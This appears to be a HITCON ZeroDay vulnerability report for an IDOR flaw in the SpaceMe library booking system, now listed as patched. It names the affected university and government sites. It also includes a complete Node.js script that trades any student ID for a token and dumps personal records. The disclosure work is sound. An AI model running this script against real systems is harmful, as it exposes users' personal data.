Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00463
- Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
- Title: spaceme 圖書館空間預訂系統
- Introduction: 公開的 API 僅用學號即可獲得權限,取得個資及登入系統
處理狀態
目前狀態
公開
Last Update : 2025/07/11
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/05/23 12:42:56 : 新提交 (由 鄉民 更新此狀態)
- 2025/05/27 17:11:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 14:36:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 14:36:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/12 14:36:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/07/03 16:20:55 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/07/11 03:00:42 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00463
- 通報者:鄉民
- 風險:高
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://frustum.lib.nthu.edu.tw/
https://libspace.tmu.edu.tw/
https://spaceme.miaoli.gov.tw/
https://spaceme.typl.gov.tw/
https://libspace.yuntech.edu.tw/
https://spaceme.fy.edu.tw/
https://spaceme.ncu.edu.tw/
https://libspace.pccu.edu.tw/
http://space.mhchcm.edu.tw/
http://deskseat.ccl.ttct.edu.tw/
https://sms.lib.ntu.edu.tw/
https://libspace.tmu.edu.tw/
https://spaceme.miaoli.gov.tw/
https://spaceme.typl.gov.tw/
https://libspace.yuntech.edu.tw/
https://spaceme.fy.edu.tw/
https://spaceme.ncu.edu.tw/
https://libspace.pccu.edu.tw/
http://space.mhchcm.edu.tw/
http://deskseat.ccl.ttct.edu.tw/
https://sms.lib.ntu.edu.tw/
敘述
SpaceMe 圖書館系統資安漏洞紀錄
一、測試背景
在研究學校圖書館空間管理系統 https://sms.lib.ntu.edu.tw/#/login 時,發現系統透過 cardNo(學號)參數進行身份認證,且該參數易於預測,導致可未經授權存取任意使用者個人資料的重大資安問題。
二、測試環境與目標系統
- 測試系統網址:https://sms.lib.ntu.edu.tw/#/login
- 系統提供的 REST API 路徑:
- 認證卡號 (cardNo):/rest/auth/user/authentication/cardNo
- 使用者個人資料:/rest/member/user/accounts/myProfile
三、測試步驟與分析
- 發現程式碼中認證函式
透過瀏覽器開發者工具,查看網頁原始碼(主要在 main.78595ddeda28bcd3d86d.js),發現一段關鍵函式:
t.prototype.authenticationCard = function(e) {
var n = this;
return this.restService.httpPost(t.AUTHENTICATION_CARD_URL + "?timestamp=" + this.now, {
cardNo: e
}, "application/x-www-form-urlencoded").pipe(Object(a.a)(function(t) {
return n.tokenService.token = t
}), Object(s.a)(function() {
return n.getUserProfile()
}))
}
- 函式中只需輸入 cardNo(學號)即可取得授權 token,無需其他認證資料。
- 發現常數定義如下:
t.AUTHENTICATION_CARD_URL = t.AUTHENTICATION_URL + "/cardNo",
t.AUTHENTICATION_URL = t.BASE_URL + "/auth/user/authentication",
t.BASE_URL = "/rest"
t.USER_PROFILE_URL = t.BASE_URL + "/member/user/accounts/myProfile"
- 利用程式碼模擬取得授權 Token 及個人資料
以下是使用 Node.js 實作的測試程式碼片段,透過 POST 傳送 cardNo 取得 authToken,再用 authToken 向個人資料 API 請求資料:
import fetch from 'node-fetch';
import { URLSearchParams } from 'url';
let AUTHENTICATION_CARD_URL;
let USER_PROFILE_URL;
let MEMBER_ACCOUNT_URL;
let USER_ACCOUNT_URL;
/**
* Obtains an authentication token object using the provided card number.
* @param {string} cardNo - The card number to authenticate with.
* @param {number} requestTimestamp - The timestamp to be used in the request URL.
* @returns {Promise<object>} - A promise that resolves to the full authentication token object.
*/
async function getAuthToken(cardNo, requestTimestamp) {
const url = `${AUTHENTICATION_CARD_URL}?timestamp=${requestTimestamp}`;
const body = new URLSearchParams({ cardNo }).toString();
try {
const response = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: body,
});
if (!response.ok) {
let errorBody = await response.text();
try {
errorBody = JSON.parse(errorBody);
} catch (e) {}
throw new Error(`HTTP error! Status: ${response.status}. Details: ${JSON.stringify(errorBody)}`);
}
const data = await response.json();
if (data.success) {
console.log("Authentication Response Data:", JSON.stringify(data, null, 2));
return data;
} else {
throw new Error(`Authentication failed as per API response: ${JSON.stringify(data)}`);
}
} catch (error) {
console.error("Authentication failed:", error.message);
throw error;
}
}
/**
* Retrieves data from a specified URL using the provided authentication token string.
* @param {string} url - The URL to fetch data from.
* @param {string} authTokenString - The actual authToken string.
* @param {number} requestTimestamp - The timestamp to be used in the request URL.
* @returns {Promise<object>} - A promise that resolves to the fetched data.
*/
async function fetchDataWithAuth(url, authTokenString, requestTimestamp) {
try {
const fullUrl = `${url}?timestamp=${requestTimestamp}`;
const tokenToSend = authTokenString.trim();
const response = await fetch(fullUrl, {
method: "GET",
headers: {
"authToken": tokenToSend,
"Accept": "application/json",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Mobile Safari/537.36",
"sec-ch-ua": "\"Chromium\";v=\"136\", \"Google Chrome\";v=\"136\", \"Not.A/Brand\";v=\"99\"",
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": "\"Android\"",
"Referer": "https://sms.lib.ntu.edu.tw/",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
},
});
if (!response.ok) {
let errorBody = await response.text();
try {
errorBody = JSON.parse(errorBody);
} catch (e) {}
throw new Error(`HTTP error! Status: ${response.status}. Details: ${JSON.stringify(errorBody)}`);
}
const data = await response.json();
return data;
} catch (error) {
console.error(`Failed to retrieve data from ${url}:`, error.message);
throw error;
}
}
// Main script logic
const cardNo = process.argv[2];
const baseUrl = process.argv[3];
if (!cardNo || !baseUrl) {
console.error("Usage: node hack.js <cardNo> <baseUrl>\nExample: node auth.js 123456 https://libspace.tw");
process.exit(1);
}
// Construct URLs based on user-provided base URL
AUTHENTICATION_CARD_URL = `${baseUrl}/rest/auth/user/authentication/cardNo`;
USER_PROFILE_URL = `${baseUrl}/rest/member/user/accounts/myProfile`;
MEMBER_ACCOUNT_URL = `${baseUrl}/rest/council/user/memberAccounts/myAccount`;
USER_ACCOUNT_URL = `${baseUrl}/rest/council/user/memberAccounts/param/${cardNo}`;
(async () => {
const sharedTimestamp = Date.now();
try {
const authResponse = await getAuthToken(cardNo, sharedTimestamp);
const token = authResponse.authToken;
console.log("Extracted Auth Token:", token);
// Fetch User Profile
console.log("\n--- Fetching User Profile ---");
const userProfile = await fetchDataWithAuth(USER_PROFILE_URL, token, sharedTimestamp);
console.log("User Profile data:", JSON.stringify(userProfile, null, 2));
// Fetch Member Account
console.log("\n--- Fetching Member Account ---");
const memberAccount = await fetchDataWithAuth(MEMBER_ACCOUNT_URL, token, sharedTimestamp);
console.log("Member Account data:", JSON.stringify(memberAccount, null, 2));
// Fetch User Account
console.log("\n--- Fetching User Account ---");
const userAccount = await fetchDataWithAuth(USER_ACCOUNT_URL, token, sharedTimestamp);
console.log("User Account data:", JSON.stringify(userAccount, null, 2));
} catch (error) {
console.error("An error occurred during script execution:", error.message);
process.exit(1);
}
})();
- 測試結果
- 輸入自己的 cardNo(學號)即可成功取得 authToken。
- 使用 authToken 呼叫 myProfile API,成功取得完整個人資訊。
- 由於 cardNo 是可預測的(學號),理論上可透過修改 cardNo 欄位,未經授權存取任意他人個資。
- 此情況可能造成個資大規模外洩。
四、結論
此系統存在嚴重的 IDOR(不當物件參照)漏洞:
- 漏洞點:cardNo 可作為唯一憑證直接取得授權 token,且系統未驗證操作者身分。
- 影響範圍:使用該系統的多所大學與公家機關,恐有大量使用者資料外洩風險。
- 建議:強化身份驗證流程,避免只以可預測參數授權存取,並加強 API 存取權限控管。
五、附錄:相關網址
- 系統首頁:https://sms.lib.ntu.edu.tw/#/login
- REST API:
- 認證卡號:/rest/auth/user/authentication/cardNo
- 個人資料:/rest/member/user/accounts/myProfile
此紀錄僅使用本人資料進行測試,未有未授權存取他人資料。此漏洞通報純屬善意。
修補建議
強化身份驗證流程,避免只以可預測參數授權存取,並加強 API 存取權限控管。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。